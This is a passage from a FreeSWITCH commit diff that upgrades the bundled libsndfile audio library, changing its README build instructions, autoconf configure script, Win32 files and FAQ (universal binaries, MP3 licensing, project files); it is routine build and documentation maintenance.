-data of a file in a human readable format. 'sfconvert' is the beginnings
-of a audio file format conversion utility. 'make_sine' generates a WAV
-file containing one cycle of a sine wave with 4096 sample points in
-32 bit floating point format. 'sfinfo' opens a sound file and prints
-out information about that file.
+libsndfile.
 
 The tests/ directory contains programs which link against libsndfile
 and test its functionality.
 
-The Win32/ directory contains files and documentation to allow libsndfile
-to compile under Win32 with the Microsoft Visual C++ compiler.
-
-The src/GSM610 directory contains code written by Jutta Degener and Carsten 
+The src/GSM610 directory contains code written by Jutta Degener and Carsten
 Bormann. Their original code can be found at :
     http://kbs.cs.tu-berlin.de/~jutta/toast.html
 
@@ -30,41 +21,44 @@
 under a suitably free license.
 
 
-Win32
+LINUX
 -----
-There are detailed instructions for building libsndfile on Win32 in the file
+Whereever possible, you should use the packages supplied by your Linux
+distribution.
 
-	doc/win32.html
-	
+If you really do need to compile from source it should be as easy as:
 
-MacOSX
-------
-Building on MacOSX should be the same as building it on any other Unix.
-
-
-OTHER PLATFORMS
----------------
-To compile libsndfile on platforms which have a Bourne Shell compatible
-shell, an ANSI C compiler and a make utility should require no more that
-the following three commands :
 		./configure
 		make
 		make install
-		
-For platforms without the required shell, it is usually sufficient to 
-create an approriate config.h file in the src/ directory with correct
-values for the following #defines  (this would work for AmigaOS) :
 
-#define HAVE_ENDIAN_H 0
-#define GUESS_BIG_ENDIAN 1
-#define GUESS_LITTLE_ENDIAN 0
-#define FORCE_BROKEN_FLOAT 0
+Since libsndfile optionally links against libFLAC, libogg and libvorbis, you
+will need to install appropriate versions of these libraries before running
+configure as above.
 
 
+UNIX
+----
+Compile as for Linux.
+
+
+Win32/Win64
+-----------
+The default Windows compilers are nowhere near compliant with the 1999 ISO
+C Standard and hence not able to compile libsndfile.
+
+Please use the libsndfile binaries available on the libsndfile web site.
+
+
+MacOSX
+------
+Building on MacOSX should be the same as building it on any other Unix.
+
+
 CONTACTS
 --------
 
-libsndfile was written by Erik de Castro Lopo (erikd AT mega-nerd DOT com).  
+libsndfile was written by Erik de Castro Lopo (erikd AT mega-nerd DOT com).
 The libsndfile home page is at :
 
 	http://www.mega-nerd.com/libsndfile/

Modified: freeswitch/branches/seven/libs/libsndfile/Win32/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Win32/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/Win32/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -2,9 +2,3 @@
 
 EXTRA_DIST = README-precompiled-dll.txt testprog.c
 
-## Do not edit or modify anything in this comment block.
-## The arch-tag line is a file identity tag for the GNU Arch 
-## revision control system.
-##
-## arch-tag: c28c7540-67f6-47e7-8035-0abbc6a174bc
-

Modified: freeswitch/branches/seven/libs/libsndfile/Win32/testprog.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/Win32/testprog.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/Win32/testprog.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -14,11 +14,3 @@
 	return 0 ;
 }
 
-
-/*
-** Do not edit or modify anything in this comment block.
-** The following line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 31165fd8-9d91-4e5d-8b31-8efd42ef7645
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/acinclude.m4 (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/acinclude.m4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/acinclude.m4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -5,6 +5,12 @@
 
 dnl Written by Paul Eggert <eggert@twinsun.com>.
 
+
+m4_include([M4/gcc_version.m4])
+m4_include([M4/octave.m4])
+m4_include([M4/mkoctfile_version.m4])
+
+
 dnl Internal subroutine of AC_SYS_EXTRA_LARGEFILE.
 dnl AC_SYS_EXTRA_LARGEFILE_FLAGS(FLAGSNAME)
 AC_DEFUN([AC_SYS_EXTRA_LARGEFILE_FLAGS],

Modified: freeswitch/branches/seven/libs/libsndfile/configure.ac (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/configure.ac	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/configure.ac	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,15 +1,24 @@
-# Copyright (C) 1999-2006 Erik de Castro Lopo (erikd AT mega-nerd DOT com).
+# Copyright (C) 1999-2008 Erik de Castro Lopo (erikd AT mega-nerd DOT com).
 
 dnl Require autoconf version
-AC_PREREQ(2.59)
+AC_PREREQ(2.57)
 
-AC_INIT([libsndfile],[1.0.17],[erikd@mega-nerd.com])
+AC_INIT([libsndfile],[1.0.19],[erikd@mega-nerd.com])
+
+# Put config stuff in Cfg.
+AC_CONFIG_AUX_DIR(Cfg)
+
 AC_CONFIG_SRCDIR([src/sndfile.c])
 AC_CANONICAL_TARGET([])
 
 AM_INIT_AUTOMAKE
+AC_CONFIG_MACRO_DIR([M4])
+
 AC_CONFIG_HEADERS([src/config.h])
 
+dnl Add parameters for aclocal
+AC_SUBST(ACLOCAL_AMFLAGS, "-I M4")
+
 AC_LANG([C])
 
 #------------------------------------------------------------------------------------
@@ -28,13 +37,19 @@
 #  6. If any interfaces have been removed since the last public release, then set age
 #     to 0.
 
-SHARED_VERSION_INFO="1:17:0"
+SHARED_VERSION_INFO="1:19:0"
 
 AC_PROG_CC
 AM_PROG_CC_C_O
+AC_PROG_CXX
+
+# Do not check for F77.
+define([AC_LIBTOOL_LANG_F77_CONFIG], [:])dnl
+
 AM_PROG_LIBTOOL
 
-AC_CHECK_PROG(autogen, autogen, yes, no)
+AC_CHECK_PROG(HAVE_AUTOGEN, autogen, yes, no)
+AC_CHECK_PROG(HAVE_WINE, wine, yes, no)
 
 AC_PROG_INSTALL
 AC_PROG_LN_S
@@ -44,7 +59,7 @@
 AC_CHECK_HEADERS(endian.h)
 AC_CHECK_HEADERS(byteswap.h)
 AC_CHECK_HEADERS(locale.h)
-AC_CHECK_HEADERS(inttypes.h)
+AC_CHECK_HEADERS(sys/time.h)
 
 AC_HEADER_SYS_WAIT
 
@@ -55,6 +70,9 @@
 	AC_DEFINE_UNQUOTED([HAVE_DECL_S_IRGRP],0)
 	fi
 
+AM_CONDITIONAL([LINUX_MINGW_CROSS_TEST],
+	[test "$build_os:$target_os:$host_os:$HAVE_WINE" = "linux-gnu:mingw32msvc:mingw32msvc:yes"])
+
 #====================================================================================
 # Check for support of the struct hack.
 
@@ -103,12 +121,19 @@
 AC_ARG_ENABLE(sqlite,
 	AC_HELP_STRING([--disable-sqlite], [disable use of sqlite]))
 
-AC_ARG_ENABLE(flac,
-	AC_HELP_STRING([--disable-flac], [disable use of FLAC]))
-
 AC_ARG_ENABLE(alsa,
 	AC_HELP_STRING([--disable-alsa], [disable use of ALSA]))
 
+AC_ARG_ENABLE(external-libs,
+	AC_HELP_STRING([--disable-external-libs], [disable use of FLAC, Ogg and Vorbis]))
+
+AC_ARG_ENABLE(octave,
+	AC_HELP_STRING([--enable-octave], [disable building of GNU Octave module]))
+
+AC_ARG_ENABLE(test-coverage,
+	AC_HELP_STRING([--enable-test-coverage], [enable test coverage]))
+AM_CONDITIONAL([ENABLE_TEST_COVERAGE], [test "$enable_test_coverage" = yes])
+
 #====================================================================================
 # Check types and their sizes.
 
@@ -222,6 +247,8 @@
 	[Target processor is big endian.])
 AC_DEFINE_UNQUOTED(CPU_IS_LITTLE_ENDIAN, ${ac_cv_c_little_endian},
 	[Target processor is little endian.])
+AC_DEFINE_UNQUOTED(WORDS_BIGENDIAN, ${ac_cv_c_big_endian},
+	[Target processor is big endian.])
 
 #====================================================================================
 # Check for functions.
@@ -230,37 +257,79 @@
 AC_CHECK_FUNCS(open read write lseek pread pwrite)
 AC_CHECK_FUNCS(fstat ftruncate fsync)
 AC_CHECK_FUNCS(snprintf vsnprintf)
-AC_CHECK_FUNCS(gmtime gmtime_r)
+AC_CHECK_FUNCS(gmtime gmtime_r localtime localtime_r gettimeofday)
 AC_CHECK_FUNCS(mmap getpagesize)
 AC_CHECK_FUNCS(setlocale)
 
 AC_CHECK_LIB([m],floor)
 AC_CHECK_FUNCS(floor ceil fmod)
 
-case "$host_os" in
-	cygwin*)
-		AC_MSG_WARN([[Not using built-in lrint() and lrintf() because they are broken on Cygwin.]])
-		;;
-	*)
-		AC_C99_FUNC_LRINT
-		AC_C99_FUNC_LRINTF
+AC_C99_FUNC_LRINT
+AC_C99_FUNC_LRINTF
 
-		if test "x$ac_cv_c99_lrint" = "xno" ; then
-			if test "x$ac_cv_c99_lrintf" = "xno" ; then
-				AC_MSG_WARN([[*** Missing C99 standard functions lrint() and lrintf().]])
-				AC_MSG_WARN([[*** This may cause benign compiler warnings on some systems (ie Solaris).]])
-				fi
-			fi
-		;;
-	esac
+#====================================================================================
+# Check for requirements for building plugins for other languages/enviroments.
 
+dnl Octave maths environment http://www.octave.org/
+if test x$cross_compiling = xno ; then
+	if test x$enable_octave = xno ; then
+		AM_CONDITIONAL(BUILD_OCTAVE_MOD, false)
+	else
+		AC_OCTAVE_BUILD
+		fi
+else
+	AM_CONDITIONAL(BUILD_OCTAVE_MOD, false)
+	fi
+
 #====================================================================================
+# Check for Ogg, Vorbis and FLAC.
+
+HAVE_EXTERNAL_LIBS=0
+EXTERNAL_CFLAGS=""
+EXTERNAL_LIBS=""
+
+# Check for pkg-config outside the if statement.
+PKG_PROG_PKG_CONFIG
+
+#if test x$enable_external_libs = xno ; then
+	AC_MSG_WARN([[*** External libs (FLAC, Ogg, Vorbis) disabled. ***]])
+#else
+#	PKG_CHECK_MOD_VERSION(FLAC, flac >= 1.2.1, ac_cv_flac=yes, ac_cv_flac=no)
+#	PKG_CHECK_MOD_VERSION(OGG, ogg >= 1.1.3, ac_cv_ogg=yes, ac_cv_ogg=no)
+
+	# Vorbis versions earlier than 1.2.1 are not const correct at the API level.
+	# Vorbis 1.2.2 adds vorbis_version_string.
+#	PKG_CHECK_MOD_VERSION(VORBIS, vorbis >= 1.2.0, ac_cv_vorbis=yes, ac_cv_vorbis=no)
+#	PKG_CHECK_MOD_VERSION(VORBISENC, vorbisenc >= 1.2.0, ac_cv_vorbisenc=yes, ac_cv_vorbisenc=no)
+#	fi
+
+HAVE_VORBIS_VERSION_STRING=0
+if test x$ac_cv_flac$ac_cv_ogg$ac_cv_vorbis$ac_cv_vorbisenc = "xyesyesyesyes" ; then
+
+	save_LIBS="$LIBS"
+	LIBS="$VORBIS_LIBS $LIBS"
+	AC_CHECK_LIB(vorbis, vorbis_version_string, HAVE_VORBIS_VERSION_STRING=1)
+	LIBS="$save_LIBS"
+
+	HAVE_EXTERNAL_LIBS=1
+	enable_external_libs=yes
+
+	EXTERNAL_CFLAGS="$FLAC_CFLAGS $OGG_CFLAGS $VORBISENC_CFLAGS"
+	EXTERNAL_LIBS="$FLAC_LIBS $VORBISENC_LIBS"
+else
+	enable_external_libs=no
+	fi
+
+AC_DEFINE_UNQUOTED([HAVE_EXTERNAL_LIBS], $HAVE_EXTERNAL_LIBS, [Will be set to 1 if flac, ogg and vorbis are available.])
+AC_DEFINE_UNQUOTED([HAVE_VORBIS_VERSION_STRING], $HAVE_VORBIS_VERSION_STRING, [Set to 1 if we have vorbis_version_string.])
+
+#====================================================================================
 # Check for libsqlite3 (only used in regtest).
 
 ac_cv_sqlite3=no
-if test x$enable_sqlite != xno ; then
-	PKG_CHECK_MODULES(SQLITE3, sqlite3 >= 3.2, ac_cv_sqlite3=yes, ac_cv_sqlite3=no)
-	fi
+#if test x$enable_sqlite != xno ; then
+#	PKG_CHECK_MOD_VERSION(SQLITE3, sqlite3 >= 3.2, ac_cv_sqlite3=yes, ac_cv_sqlite3=no)
+#	fi
 
 if test x$ac_cv_sqlite3 = "xyes" ; then
 	HAVE_SQLITE3=1
@@ -271,6 +340,19 @@
 AC_DEFINE_UNQUOTED([HAVE_SQLITE3],$HAVE_SQLITE3,[Set to 1 if you have libsqlite3.])
 
 #====================================================================================
+# Check for JACK (only used for examples/sndfile-jackplay).
+
+#PKG_CHECK_MOD_VERSION(JACK, jack >= 0.100, ac_cv_jack=yes, ac_cv_jack=no)
+
+if test x$ac_cv_jack = "xyes" ; then
+	HAVE_JACK=1
+else
+	HAVE_JACK=0
+	fi
+
+AC_DEFINE_UNQUOTED([HAVE_JACK],$HAVE_JACK,[Set to 1 if you have JACK.])
+
+#====================================================================================
 # Determine if the processor can do clipping on float to int conversions.
 
 if test x$enable_cpu_clip != "xno" ; then
@@ -306,10 +388,6 @@
 		use_windows_api=1
 		OS_SPECIFIC_LINKS="-lwinmm"
 		;;
-	cygwin*)
-		os_is_win32=1
-		OS_SPECIFIC_LINKS="-lwinmm"
-		;;
 	esac
 
 AC_DEFINE_UNQUOTED(OS_IS_WIN32, ${os_is_win32}, [Set to 1 if compiling for Win32])
@@ -325,26 +403,11 @@
 	AC_CHECK_HEADERS(alsa/asoundlib.h)
 	if test x$ac_cv_header_alsa_asoundlib_h = xyes ; then
 		ALSA_LIBS="-lasound"
+		enable_alsa=yes
 		fi
 	fi
 
 #====================================================================================
-# Check for FLAC
-
-FLAC_LIBS=""
-
-if test x$enable_flac != xno ; then
-	AC_CHECK_HEADERS(FLAC/all.h)
-	if test x$ac_cv_header_FLAC_all_h = xyes ; then
-		AC_CHECK_LIB(FLAC, FLAC__seekable_stream_encoder_set_tell_callback, HAVE_FLAC_1_1_1="yes")
-		if test "x$HAVE_FLAC_1_1_1" = xyes ; then
-			AC_DEFINE(HAVE_FLAC_1_1_1, [1], [Define to 1 if you have libflac 1.1.1])
-			fi
-		FLAC_LIBS="-lFLAC"
-		fi
-	fi
-
-#====================================================================================
 # Test for sanity when cross-compiling.
 
 if test x$cross_compiling = xyes ; then
@@ -379,7 +442,7 @@
 	AC_MSG_WARN([[******************************************************************]])
 	fi
 
-if test x"$ac_cv_prog_autogen" = "xno" ; then
+if test x"$ac_cv_prog_HAVE_AUTOGEN" = "xno" ; then
 	AC_MSG_WARN([[Touching files in directory tests/.]])
 	touch tests/*.c tests/*.h
 	fi
@@ -406,20 +469,47 @@
 #====================================================================================
 # Now use the information from the checking stage.
 
+win32_target_dll=0
+COMPILER_IS_GCC=0
+
 if test x$ac_cv_c_compiler_gnu = xyes ; then
 	AC_ADD_CFLAGS(-std=gnu99)
 
-	CFLAGS="$CFLAGS -W -Wall"
-	CXXFLAGS="$CXXFLAGS -W -Wall"
+	AC_GCC_VERSION
 
-	AC_ADD_CFLAGS(-Wdeclaration-after-statement)
-	AC_ADD_CFLAGS(-Wpointer-arith)
+	if test "x$GCC_MAJOR_VERSION$GCC_MINOR_VERSION" = "x42" ; then
+#		AC_MSG_WARN([****************************************************************])
+#		AC_MSG_WARN([** GCC version 4.2 warns about the inline keyword for no good **])
+#		AC_MSG_WARN([** reason but the maintainers do not see it as a bug.         **])
+#		AC_MSG_WARN([** See http://gcc.gnu.org/bugzilla/show_bug.cgi?id=33995      **])
+#		AC_MSG_WARN([** Using -fgnu-inline to avoid this stupidity.                **])
+#		AC_MSG_WARN([****************************************************************])
+		AC_ADD_CFLAGS([-fgnu89-inline])
+		fi
 
+	CFLAGS="$CFLAGS -Wall"
+	CXXFLAGS="$CXXFLAGS -Wall"
+
+#	AC_ADD_CFLAGS([-Wextra])
+
+	AC_LANG_PUSH([C++])
+#	AC_ADD_CXXFLAGS([-Wextra])
+	AC_LANG_POP([C++])
+
+	AC_ADD_CFLAGS([-Wdeclaration-after-statement])
+	AC_ADD_CFLAGS([-Wpointer-arith])
+	AC_ADD_CFLAGS([-funsigned-char])
+
 	if test x$enable_gcc_werror = "xyes" ; then
 		CFLAGS="-Werror $CFLAGS"
 		CXXFLAGS="-Werror $CXXFLAGS"
 		fi
 
+	if test x$enable_test_coverage = "xyes" ; then
+		# AC_ADD_CFLAGS([-ftest-coverage])
+		AC_ADD_CFLAGS([-coverage])
+		fi
+
 	CFLAGS="$CFLAGS -Wstrict-prototypes -Wmissing-prototypes -Waggregate-return -Wcast-align -Wcast-qual -Wnested-externs -Wshadow -Wbad-function-cast -Wwrite-strings "
 	# -Wundef -Wmissing-declarations -Winline -Wconversion"
 	CXXFLAGS="$CXXFLAGS -Wcast-align -Wcast-qual -Wshadow -Wwrite-strings -Wctor-dtor-privacy -Wnon-virtual-dtor -Woverloaded-virtual -Wreorder -Wsign-promo "
@@ -443,10 +533,16 @@
 			SHLIB_VERSION_ARG="-Wl,--version-script=\$(srcdir)/Symbols.linux"
 			;;
 		mingw*)
-			SHLIB_VERSION_ARG="-Wl,\$(srcdir)/libsndfile.def"
+			# Linker flag '-Wl,--out-implib' does not work with mingw cross compiler
+			# so we don't use it here.
+			SHLIB_VERSION_ARG="-Wl,\$(srcdir)/libsndfile-1.def"
+			win32_target_dll=1
+			if test x"$enable_shared" = xno ; then
+				win32_target_dll=0
+				fi
 			;;
-		cygwin*)
-			SHLIB_VERSION_ARG="-Wl,\$(srcdir)/cygsndfile.def"
+		os2*)
+			SHLIB_VERSION_ARG="-Wl,-export-symbols \$(srcdir)/Symbols.os2"
 			;;
 		*)
 			;;
@@ -455,11 +551,11 @@
 	 	CFLAGS="$CFLAGS -pipe"
 	 	fi
 
-	AC_DEFINE([COMPILER_IS_GCC],1, [Set to 1 if the compile is GNU GCC.])
-	GCC_MAJOR_VERSION=`$CC -dumpversion | sed "s/\..*//"`
-	AC_DEFINE_UNQUOTED([GCC_MAJOR_VERSION],${GCC_MAJOR_VERSION}, [Major version of GCC or 3 otherwise.])
+	COMPILER_IS_GCC=1
 	fi
 
+AC_DEFINE_UNQUOTED([WIN32_TARGET_DLL], ${win32_target_dll}, [Set to 1 if windows DLL is being built.])
+AC_DEFINE_UNQUOTED([COMPILER_IS_GCC], ${COMPILER_IS_GCC}, [Set to 1 if the compile is GNU GCC.])
 AC_DEFUN([AX_COMPILER_VENDOR],
 [
 AC_CACHE_CHECK([for _AC_LANG compiler vendor], ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor,
@@ -496,6 +592,8 @@
 	exit
 	fi
 
+#-------------------------------------------------------------------------------
+
 AC_SUBST(htmldocdir)
 AC_SUBST(HTML_BGCOLOUR)
 AC_SUBST(HTML_FGCOLOUR)
@@ -505,25 +603,33 @@
 AC_SUBST(OS_SPECIFIC_CFLAGS)
 AC_SUBST(OS_SPECIFIC_LINKS)
 AC_SUBST(ALSA_LIBS)
-AC_SUBST(FLAC_LIBS)
 AC_SUBST(ENABLE_EXPERIMENTAL_CODE)
 
+AC_SUBST(EXTERNAL_CFLAGS)
+AC_SUBST(EXTERNAL_LIBS)
+
 AC_SUBST(COMPILER_IS_GCC)
 AC_SUBST(GCC_MAJOR_VERSION)
 
+AC_SUBST(HAVE_JACK)
+
 dnl The following line causes the libtool distributed with the source
 dnl to be replaced if the build system has a more recent version.
 AC_SUBST(LIBTOOL_DEPS)
 
 AC_CONFIG_FILES([ \
-			src/sndfile.h src/Makefile src/GSM610/Makefile src/G72x/Makefile \
-			man/Makefile examples/Makefile tests/Makefile regtest/Makefile \
-			doc/Makefile doc/libsndfile.css \
-			Win32/Makefile Octave/Makefile \
-			Makefile libsndfile.spec sndfile.pc \
-			])
+	src/sndfile.h src/Makefile src/GSM610/Makefile src/G72x/Makefile \
+	man/Makefile examples/Makefile tests/Makefile regtest/Makefile \
+	M4/Makefile doc/Makefile Win32/Makefile Octave/Makefile \
+	programs/Makefile doc/libsndfile.css \
+	Makefile libsndfile.spec sndfile.pc \
+	tests/test_wrapper.sh \
+	])
 AC_OUTPUT
 
+# Make it executable.
+chmod u+x tests/test_wrapper.sh
+
 #====================================================================================
 
 AC_MSG_RESULT([
@@ -531,18 +637,21 @@
 
   Configuration summary :
 
-    Version : ..................... ${VERSION}
-    Experimental code : ........... ${enable_experimental:-no}
+    Version : ............................. ${VERSION}
+    Experimental code : ................... ${enable_experimental:-no}
+    Using ALSA in example programs : ...... ${enable_alsa:-no}
+    External FLAC/Ogg/Vorbis : ............ ${enable_external_libs:-no}
+
 ])
 
 if test x$ac_cv_c_compiler_gnu = xyes ; then
 	echo -e "  Tools :\n"
-	echo "    Compiler is GCC : ............. ${ac_cv_c_compiler_gnu}"
-	echo "    GCC major version : ........... ${GCC_MAJOR_VERSION}"
+	echo "    Compiler is GCC : ..................... ${ac_cv_c_compiler_gnu}"
+	echo "    GCC version : ......................... ${GCC_VERSION}"
 	if test $GCC_MAJOR_VERSION -lt 3 ; then
 		echo -e "\n    ** This compiler version allows applications to write"
 		echo "    ** to static strings within the library."
-		echo "    ** Compile with GCC version 3.X to avoid this problem."
+		echo "    ** Compile with GCC version 3.X or above to avoid this problem."
 		fi
 	fi
 
@@ -557,10 +666,10 @@
 AC_MSG_RESULT([[
   Installation directories :
 
-    Library directory : ........... $libdir
-    Program directory : ........... $bindir
-    Pkgconfig directory : ......... $libdir/pkgconfig
-    HTML docs directory : ......... $htmldocdir
+    Library directory : ................... $libdir
+    Program directory : ................... $bindir
+    Pkgconfig directory : ................. $libdir/pkgconfig
+    HTML docs directory : ................. $htmldocdir
 ]])
 
 if test x$prefix != "x/usr" ; then
@@ -569,14 +678,5 @@
 	echo -e "PKG_CONFIG_PATH environment variable.\n"
 	fi
 
-#====================================================================================
-
-ifelse(dnl
-
- Do not edit or modify anything in this comment block.
- The arch-tag line is a file identity tag for the GNU Arch
- revision control system.
-
- arch-tag: 6391b316-6cfc-43c2-a18a-8defdc4ee359
-
-)dnl
+(cd src && make genfiles)
+(cd tests && make genfiles)

Modified: freeswitch/branches/seven/libs/libsndfile/configure.gnu (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/configure.gnu	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/configure.gnu	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,2 @@
 #! /bin/sh
-./configure "$@" --disable-sqlite --disable-shared --with-pic --disable-flac
-
+./configure "$@" --disable-sqlite --disable-shared --with-pic --disable-external-libs --disable-octave

Modified: freeswitch/branches/seven/libs/libsndfile/doc/FAQ.html (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/doc/FAQ.html	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/doc/FAQ.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -23,7 +23,7 @@
 		substitution" error during linking. What can I do to fix this?</A><BR>
 <A HREF="#Q005">Q5 : Why doesn't libsndfile do interleaving/de-interleaving?</A><BR>
 <A HREF="#Q006">Q6 : What's the best format for storing temporary files?</A><BR>
-<A HREF="#Q007">Q7 : On Linux/Unix/MaxOSX, what's the best way of detecting the
+<A HREF="#Q007">Q7 : On Linux/Unix/MacOSX, what's the best way of detecting the
 	presence of libsndfile?</A><BR>
 <A HREF="#Q008">Q8 : But I just want a simple Makefile! What do I do?</A><BR>
 <A HREF="#Q009">Q9 : How about adding the ability to write/read sound files to/from
@@ -43,6 +43,19 @@
 	</A><BR>
 <A HREF="#Q017">Q17 : Can libsndfile read/write files from/to UNIX pipes?
 	</A><BR>
+<A HREF="#Q018">Q18 : Is it possible to build a Universal Binary on Mac OSX?
+	</A><BR>
+<A HREF="#Q019">Q19 : I have project files for Visual Studio / XCode / Whatever. Why
+	don't you distribute them with libsndfile?
+	</A><BR>
+<A HREF="#Q020">Q20 : Why doesn't libsndfile support MP3? Lots of other Open Source
+	projects support it!
+	</A><BR>
+<A HREF="#Q021">Q21 : How do I use libsndfile in a closed source or commercial program
+	and comply with the license?
+	</A><BR>
+<A HREF="#Q022">Q22 : What versions of windows does libsndfile work on?
+	</A><BR>
 <HR>
 
 <!-- ========================================================================= -->
@@ -89,9 +102,12 @@
 <A NAME="Q003"></A>
 <H2><BR><B>Q3 : Compiling is really slow on MacOSX. Why?</B></H2>
 <P>
-When you configure and compile libsndfile, it uses the Bourne shell for a number
+When you configure and compile libsndfile, it uses the /bin/sh shell for a number
 of tasks (ie configure script and libtool).
-However, Apple has decided to ship their system with a really crappy Bourne shell.
+Older versions of OSX (10.2?) shipped a a really crappy Bourne shell as /bin/sh
+which resulted in <b>really</b> slow compiles.
+New version of OSX ship GNU BASh as /bin/sh and this answer doesn't apply in that
+case.
 </P>
 <P>
 To fix this I suggest that you install the GNU Bash shell, rename /bin/sh to
@@ -313,8 +329,18 @@
 in audio quality that they should also be concerned about.
 </P>
 <P>
-The correct way to deal with this problem is to consider 16 bit short data as
-a final destination format only, not as an intermediate storage format.
+Since this problem only occurs when converting between integer data on disk and
+normalized floats in the application, it can be avoided by using something
+other than normalized floats in the application.
+Alternatives to normalized floats are the <b>short</b> and <b>int</b> data
+types (ie using sf_read_short or sf_read_int) or using un-normalized floats
+(see
+	<a href="http://www.mega-nerd.com/libsndfile/command.html#SFC_SET_NORM_FLOAT">
+	SFC_SET_NORM_FLOAT</a>).
+</P>
+<P>
+Another way to deal with this problem is to consider 16 bit short data as a
+final destination format only, not as an intermediate storage format.
 All intermediate data (ie which is going to be processed further) should be
 stored in floating point format which is supported by all of the most common
 file formats.
@@ -552,26 +578,213 @@
 </P>
 
 <P>
-Sell also <A HREF="#Q006">FAQ Q6</A>.
+See also <A HREF="#Q006">FAQ Q6</A>.
 </P>
 
 <!-- ========================================================================= -->
+<A NAME="Q018"></A>
+<H2><BR><B>Q18 : Is it possible to build a Universal Binary on Mac OSX?
+</B></H2>
+
+<P>
+Yes, but you must do two separate configure/build/test runs; one on PowerPC
+and one on Intel.
+It is then possible to merge the binaries into a single universal binary using
+one of the programs in the Apple tool chain.
+</P>
+
+<P>
+It is <b>not</b> possible to build a working universal binary via a single
+compile/build run on a single CPU.
+</P>
+
+<P>
+The problem is that the libsndfile build process detects features of the CPU its
+being built for during the configure process and when building a universal binary,
+configure is only run once and that data is then used for both CPUs.
+That configure data will be wrong for one of those CPUs.
+You will still be able to compile libsndfile, and the test suite will pass on
+the machine you compiled it on.
+However, if you take the universal binary test suite programs compiled on one
+CPU and run them on the other, the test suite will fail.
+</P>
+
+<P>
+Part of the problem is the the CPU endian-ness is detected at configure time.
+Yes, I know the Apple compiler defines one of the macros __LITTLE_ENDIAN__
+and __BIG_ENDIAN__, but those macros are not part of the 1999 ISO C Standard
+and they are not portable.
+</P>
+
+<P>
+Endian issues are not the only reason why the cross compiled binary will fail.
+The configure script also detects other CPU specific idiosyncrasies to provide
+more optimized code.
+</P>
+
+<P>
+Finally, the real show stopper problem with universal binaries is the problem
+with the test suite.
+libsndfile contains a huge, comprehensive test suite.
+When you compile a universal binary and run the test suite, you only test the
+native compile.
+The cross compiled binary (the one with the much higher chance of having
+problems) cannot be tested.
+</P>
+
+<P>
+Now, if you have read this far you're probably thinking there must be a way
+to fix this and there probably is.
+The problem is that its a hell of a lot of work and would require significant
+changes to the configure process, the internal code and the test suite.
+In addition, these changes must not break compilation on any of the platforms
+libsndfile is currently working on.
+</p>
+
+
+<!-- ========================================================================= -->
+<A NAME="Q019"></A>
+<H2><BR><B>Q19 : I have project files for Visual Studio / XCode / Whatever. Why
+	don't you distribute them with libsndfile?
+</B></H2>
+
+<P>
+There's a very good reason for this.
+I will only distribute things that I actually have an ability to test and
+maintain.
+Project files for a bunch of different compilers and Integrated Development
+Environments are simply too difficult to maintain.
+</P>
+
+<P>
+The problem is that every time I add a new file to libsndfile or rename an
+existing file I would have to modify all the project files and then test that
+libsndfile still built with all the different compilers.
+</P>
+
+<P>
+Maintaining these project files is also rather difficult if I don't have access
+to the required compiler/IDE.
+If I just edit the project files without testing them I will almost certainly
+get it wrong.
+If I release a version of libsndfile with broken project files, I'll get a bunch
+of emails from people complaining about it not building and have no way of
+fixing or even testing it.
+</P>
+
+<P>
+I currently release sources that I personally test on Win32, Linux and
+MacOSX (PowerPC) using the compiler I trust (GNU GCC).
+Supporting one compiler on three (actually much more because GCC is available
+almost everywhere) platforms is doable without too much pain.
+I also release binaries for Win32 with instructions on how to use those
+binaries with Visual Studio.
+As a guy who is mainly interested in Linux, I'm not to keen to jump through
+a bunch of hoops to support compilers and operating systems I don't use.
+</P>
+
+<P>
+So, I hear you want to volunteer to maintain the project files for Some Crappy
+Compiler 2007?
+Well sorry, that won't work either.
+I have had numerous people over the years offer to maintaining the project
+files for Microsoft's Visual Studio.
+Every single time that happened, they maintained it for a release or two and
+then disappeared off the face of the earth.
+Hence, I'm not willing to enter into an arrangement like that again.
+</P>
+
+<!-- ========================================================================= -->
+<A NAME="Q020"></A>
+<H2><BR><B>Q20 : Why doesn't libsndfile support MP3? Lots of other Open Source
+	projects support it!
+</B></H2>
+
+<P>
+MP3 is not supported for one very good reason; doing so requires the payment
+of licensing fees.
+As can be seen from
+	<a href="http://www.mp3licensing.com/royalty/software.html">
+	mp3licensing.com</a>
+the required royalty payments are not cheap.
+</P>
+
+<p>
+Yes, I know other libraries ignore the licensing requirements, but their legal
+status is extremely dubious.
+At any time, the body selling the licenses could go after the authors of those
+libraries.
+Some of those authors may be students and hence wouldn't be worth pursuing.
+</P>
+
+<p>
+However, libsndfile is released under the name of a company, Mega Nerd Pty Ltd;
+a company which has income from from libsamplerate licensing, libsndfile based
+consulting income and other unrelated consulting income.
+Adding MP3 support to libsndfile could place that income would be under legal
+threat.
+</p>
+
+<p>
+Fortunately, Ogg Vorbis exists as an alternative to MP3.
+Support for Ogg Vorbis was added to libsndfile (mostly due to the efforts of
+John ffitch of the Csound project) in version 1.0.18.
+</p>
+
+
+<!-- ========================================================================= -->
+<A NAME="Q021"></A>
+<H2><BR><B>Q21 : How do I use libsndfile in a closed source or commercial program
+	and comply with the license?
+</B></H2>
+
+<p>
+Here is a checklist of things you need to do to make sure your use of libsndfile
